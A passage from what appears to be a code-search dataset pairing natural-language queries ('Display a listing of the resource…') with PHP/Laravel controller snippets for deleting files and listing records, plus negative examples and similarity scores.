(!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Display a listing of the resource with requested parameters.
public function getCategoryData(Request $request) { // Get Kawarabis $search = $request->input('search'); $kawarabis = CategoryWiseSpecification::Where('subject', 'like', '%' . $search . '%')->orderBy('created_at', 'desc')->paginate(10); // Return collection of Kawarabis as a resource return CategoryWiseSpecificationResouerce::collection($kawarabis); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function listAction()\n {\t\t\n $this->_helper->viewRenderer->setNoRender(true);\n\n $params = $this->_request->getPost(); \n\t\t$data = $this->_model->getList($params);\n\t\tdie(json_encode($data));\n }", "public function listAction() {}", "public function indexAction() {\n\t\t$this->_model->where_clause(NULL);\n\n\t\tif(!isset($this->params['page'])) {\n\t\t\tself::$params['page'] = 1;\n\t\t} \n\n\t\t$this->_view->data['info'] = $this->_model->getPage($this->params['page'], $this->config->pagination_limit);\n\t\t$this->_view->data['total_items'] = $this->_model->getCount();\n\t\t$this->addModuleTemplate($this->module, 'index');\n\n\t}", "public function index()\n\t{\n\t\t$query = Parameter::query()->with('module');\n\t\t\n\t\tif(Input::query('keyword'))\n\t\t{\n\t\t\t$query->where('name', 'like', '%' . Input::query('keyword') . '%');\n\t\t}\n\t\t\n\t\tif(Input::query('module_id'))\n\t\t{\n\t\t\t$query->where('module_id', Input::query('module_id'));\n\t\t}\n\n\t\t$page = Input::query('page') ? Input::query('page') : 1;\n\t\t\n\t\t$per_page = Input::query('per_page') ? Input::query('per_page') : false;\n\t\t\n\t\t$list_total = $query->count();\n\t\t\n\t\tif($per_page)\n\t\t{\n\t\t\t$query->skip(($page - 1) * $per_page)->take($per_page);\n\t\t\t$list_start = ($page - 1) * $per_page + 1;\n\t\t\t$list_end = ($page - 1) * $per_page + $per_page;\n\t\t\tif($list_end > $list_total)\n\t\t\t{\n\t\t\t\t$list_end = $list_total;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$list_start = 1; $list_end = $list_total;\n\t\t}\n\t\t\n\t\t$results = $query->get();\n\t\t\n\t\treturn response($results)->header('Items-Total', $list_total)->header('Items-Start', $list_start)->header('Items-End', $list_end);\n\t}", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$params = $this->getInput(array('status'));\n\t\tif ($params['status']) $search['status'] = $params['status'];\n\t\t\n\t\tlist($total, $result) = Activity_Service_ShareQq::getList($page, $this->perpage, $search);\n\t\t\n\t\t$this->assign('result', $result);\n\t\t$this->assign('total', $total);\n\t\t$this->assign('search', $search);\n\t\t$this->cookieParams();\n\t\t$url = $this->actions['listUrl'] .'/?'. http_build_query($params) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $this->perpage, $url));\n\t}", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$param = $this->getInput(array('status', 'title'));\n\n\t\tif ($param['status']) $search['status'] = intval($param['status'])-1;\n\t\tif ($param['title']) $search['title'] = array('LIKE', $param['title']);\n\t\t\n\t\tlist($total, $goods) = Fj_Service_Goods::getList($page, $this->perpage, $search, array('sort'=>'DESC','id'=>'DESC'));\n\t\t\n\t\t$this->assign('goods', $goods);\n\t\t$this->assign('total', $total);\n\t\t$this->assign('search', $param);\n\t\t\n\t\t//get pager\n\t\t$url = $this->actions['listUrl'].'/?' . http_build_query($param) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $this->perpage, $url));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction() {\n\n\t}", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function indexAction() {\n $this->_forward('list');\n }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "function listing() {\r\n\r\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function actionIndex()\n\t{\n\t\t!isset($_GET['include_bookings']) and $_GET['include_bookings'] = 1;\n\t\t!isset($_GET['include_reschedules']) and $_GET['include_reschedules'] = 1;\n\t\t!isset($_GET['include_cancellations']) and $_GET['include_cancellations'] = 1;\n\n\t\t$this->render('index');\n\t}", "public function detailAction() {\n\n //GET THE LIST ITEM\n $this->view->listDetail = Engine_Api::_()->getItem('list_listing',(int) $this->_getParam('id'));\n }", "public function indexAction()\n {\n\n $manager = $this->container->get('app_manager_listkdo');\n $data = array(\n 'manager' => $manager,\n 'dir' => 'AppBundle:ListKdo',\n 'show' => 'appbundle_listkdo_show',\n 'edit' => 'appbundle_listkdo_edit'\n );\n\n return $this->gridList($data);\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function displayListAction() {\n $params = t3lib_div::_GET('libconnect');\n $cObject = t3lib_div::makeInstance('tslib_cObj');\n\n //get PageID\n $Pid = intval($GLOBALS['TSFE']->id);\n \n //include CSS\n $this->decideIncludeCSS();\n\n if ((!empty($params['subject'])) || (!empty($params['notation']))) {//choosed subject after start point\n $config['detailPid'] = $this->settings['flexform']['detailPid'];\n\n $options['index'] = $params['index'];\n $options['sc'] = $params['sc'];\n $options['lc'] = $params['lc'];\n $options['notation'] = $params['notation'];\n $options['colors'] = $params['colors'];\n\n //it´s for there is not NULL in the request or there will be a problem\n if(!isset($params['subject'])){\n $params['subject'] = \"\";\n }\n $liste = $this->ezbRepository->loadList(\n $params['subject'], \n $options,\n $config\n );\n\n $listURL = $cObject->getTypolink_URL( $Pid );\n\n $formParameter = array(\n 'libconnect[subject]' => $params['subject'],\n 'libconnect[index]' => $params['index'],\n 'libconnect[sc]' => $params['sc'],\n 'libconnect[lc]' => $params['lc'],\n 'libconnect[notation]' => $params['notation']\n );\n\n //variables for template\n $this->view->assign('journals', $liste);\n $this->view->assign('listUrl', $listURL);\n $this->view->assign('colors', $params['colors']);\n $this->view->assign('formParameter', $formParameter);\n\n } else if (!empty($params['search'])) {//search results\n $config['detailPid'] = $this->settings['flexform']['detailPid'];\n\n $journals = array();\n \n if(empty($params['search']['selected_colors'])){\n $params['search']['selected_colors'] = array(\n 1 => 1,\n 2 => 2,\n 4 => 4,\n 6 => 6\n );\n }\n \n $journals = $this->ezbRepository->loadSearch($params['search'], $journals['colors'], $config); \n\n if(!empty($params['search']['selected_colors'])){\n //damit selected_colors nicht in verstekten Formularfeldern auftauchen\n unset($params['search']['selected_colors']);\n }\n\n //change view\n $controllerContext = $this->buildControllerContext();\n $controllerContext->getRequest()->setControllerActionName('displaySearch');\n $this->view->setControllerContext($controllerContext);\n\n //variables for template\n $this->view->assign('journals', $journals);\n $this->view->assign('listUrl', $listURL);\n $this->view->assign('colors', $params['colors']);\n $this->view->assign('formParameter', $params['search']);\n } else {//start point\n $liste = $this->ezbRepository->loadOverview();\n\n //change view\n $controllerContext = $this->buildControllerContext();\n $controllerContext->getRequest()->setControllerActionName('displayOverview');\n $this->view->setControllerContext($controllerContext);\n\n //variables for template\n $this->view->assign('list', $liste);\n }\n }", "public function listAction()\n {\n // some logic\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function actionPrintList()\n\t{\n\t\tif (ctype_digit(@$_GET['page'])) $this->page = $_GET['page'];\n\t\t$this->renderPartial('_printList',array('operations' => $this->getTransportList($_GET, true)));\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function listdataAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('%');\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index()\n {\n if (null != $this->request->ifParameter(\"id\")) {\n $items_current_page = $this->request->getParameter(\"id\");\n 